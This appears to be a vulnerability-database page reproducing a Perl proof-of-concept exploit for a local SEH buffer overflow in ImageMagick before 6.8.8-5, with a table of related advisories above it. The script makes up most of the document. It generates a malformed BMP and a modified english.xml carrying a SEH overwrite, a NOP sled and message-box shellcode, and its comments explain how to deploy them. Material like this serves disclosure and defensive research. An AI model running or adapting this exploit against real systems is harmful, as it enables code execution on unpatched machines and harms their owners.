| Reporter | Title | Published | Views | Family All 54 |
|---|---|---|---|---|
| ImageMagick 6.8.8-4 - Local Buffer Overflow (SEH) | 17 Feb 201400:00 | – | zdt | |
| CVE-2014-2030 | 6 Feb 202015:15 | – | attackerkb | |
| Medium: ImageMagick | 13 May 201400:00 | – | amazon | |
| Medium: GraphicsMagick | 1 Oct 201400:00 | – | amazon | |
| Amazon Linux AMI : ImageMagick (ALAS-2014-336) | 12 Oct 201400:00 | – | nessus | |
| Amazon Linux AMI : GraphicsMagick (ALAS-2014-420) | 12 Oct 201400:00 | – | nessus | |
| Debian DSA-2898-1 : imagemagick - security update | 10 Apr 201400:00 | – | nessus | |
| Fedora 21 : GraphicsMagick-1.3.20-3.fc21 (2014-14617) | 17 Nov 201400:00 | – | nessus | |
| Fedora 20 : ImageMagick-6.8.6.3-4.fc20 (2014-4969) | 16 Apr 201400:00 | – | nessus | |
| Fedora 20 : GraphicsMagick-1.3.20-1.fc20 (2014-9596) | 29 Aug 201400:00 | – | nessus |
#!/usr/bin/perl
########################################################################################
# Exploit Title: ImageMagick < 6.8.8-5 - Local Buffer Overflow (SEH)
# Date: 2-13-2014
# Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
# Vulnerable Software: ImageMagick (all versions prior to 6.8.8-5)
# Software Link: http://ftp.sunet.se/pub/multimedia/graphics/ImageMagick/binaries/
# Version Tested: 6.8.8-4
# Tested On: Windows XP SP3
########################################################################################
# Credits:
#
# CVE-2014-1947 published Feb 08 2014
# by Justin Grant
# http://www.securityfocus.com/bid/65478/info
#
########################################################################################
# Overview:
#
# I saw the notice for this CVE today but there was no known published expoits so
# I figured I'd put together this quick POC. Note, all app modules for the tested
# version were compiled with safeSEH so my use of an OS module may require adjustment
# of the offsets. There also appears to be several bad chars that fail the sploit.
# For this POC I only generate a basic messagebox using FatalAppExit(). It may take
# some work to get it to do more.
#
# How it works:
#
# This particular BOF takes advantage of insecure handling of the english.xml file
# which the app uses to display various error messages. I didn't spend much time
# investigating the app so there may be additional vulnerable locations
#
# This script generates two files:
# 1) a malfored .bmp file that will cause ImageMagick to generate a specific
# error when opened (LengthAndFilesizeDoNotMatch), as defined in the
# english.xml file
# 2) a modified english.xml file that replaces the original error message with
# our exploit code
#
# To test this POC:
# 1) run the script, replace the original english.xml file (in App's folder)
# 2) open the .bmp file with ImageMagick
########################################################################################
# file write function
sub write_file {
my ($file, $buffer) = @_;
open(FILE, ">$file");
print FILE $buffer;
close(FILE);
print "Exploit file [" . $file . "] created\n";
print "Buffer size: " . length($buffer) . "\n";
}
# create bmp file header; needs to be a valid header to generate necessary error
sub bmp_header {
my $header = "\x42\x4d"; # BM
$header = $header . "\x46\x00\x00\x00"; # file size (70 bytes)
$header = $header . "\x00\x00\x00\x00"; # unused
$header = $header . "\x36\x00\x00\x00"; # bitmap offset
$header = $header . "\x28\x00\x00\x00"; # header size
$header = $header . "\x02\x00\x00\x00"; # width
$header = $header . "\x02\x00\x00\x00"; # height
$header = $header . "\x01\x00"; # num of color planes
$header = $header . "\x18\x00"; # num of bits per pixel
$header = $header . "\x00\x00\x00\x00"; # compression (none)
$header = $header . "\x10\x00\x00\x00"; # image size
$header = $header . "\x13\x0b\x00\x00"; # horizontal resolution (2,835 pixels/meter)
$header = $header . "\x13\x0b\x00\x00"; # vertical resolution (2,835 pixels/meter)
$header = $header . "\x00\x00\x00\x00"; # colors in palette
$header = $header . "\x00\x00\x00\x00"; #important colors
return $header;
}
## Construct the corrupted bmp file which will trigger the vuln
my $header = bmp_header();
my $data = "\x41" x (5000 - length($header)); # arbitrary file data filler
my $buffer = $header.$data;
write_file("corrupt.bmp", $buffer);
# construct the buffer payload for our xml file
my $buffsize = 100000;
my $junk = "\x41" x 62504; # offset to next seh at 568
my $nseh = "\xeb\x32\x90\x90"; # overwrite next seh with jmp instruction (20 bytes)
my $seh = pack('V', 0x74c82f4f); # : pop ebp pop ebx ret
# ASLR: False, Rebase: False, SafeSEH: False, OS: True, C:\WINDOWS\system32\OLEACC.dll)
my $junk2 = "\x41" x 12; # there are at least two possible offsets -- 1 for file-> open and 1 for the open file menubar button
my $nops = "\x90" x 100;
# this is just a POC shellcode that displays a messagebox using the FatalAppExit function
my $shell = "\xb9\x7c\xec\xa5\x7c" . # Unicode String "FailSilently" (address may vary)
"\x31\xc0" . # xor eax, eax
"\xbb\xb2\x1b\x86\x7c" . # kernel32.dll FatalAppExit()
"\x51" . # push ecx
"\x50" . # push eax
"\xff\xd3"; # call ebx
my $sploit = $junk.$nseh.$seh.$junk2.$nseh.$seh.$nops.$shell; # assemble the exploit portion of the buffer
my $fill = "\x43" x ($buffsize - (length($sploit))); # fill remainder of buffer with junk
$sploit = $sploit.$fill; # assemble the final buffer
# build the malicious xml file
my $xml = '<?xml version="1.0" encoding="UTF-8"?><locale name="english"><exception><corrupt><image><warning><message name="LengthAndFilesizeDoNotMatch">';
$xml = $xml . $sploit;
$xml = $xml . '</message></warning></image></corrupt></exception></locale>';
my $buffer = $xml;
write_file("english.xml", $buffer);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation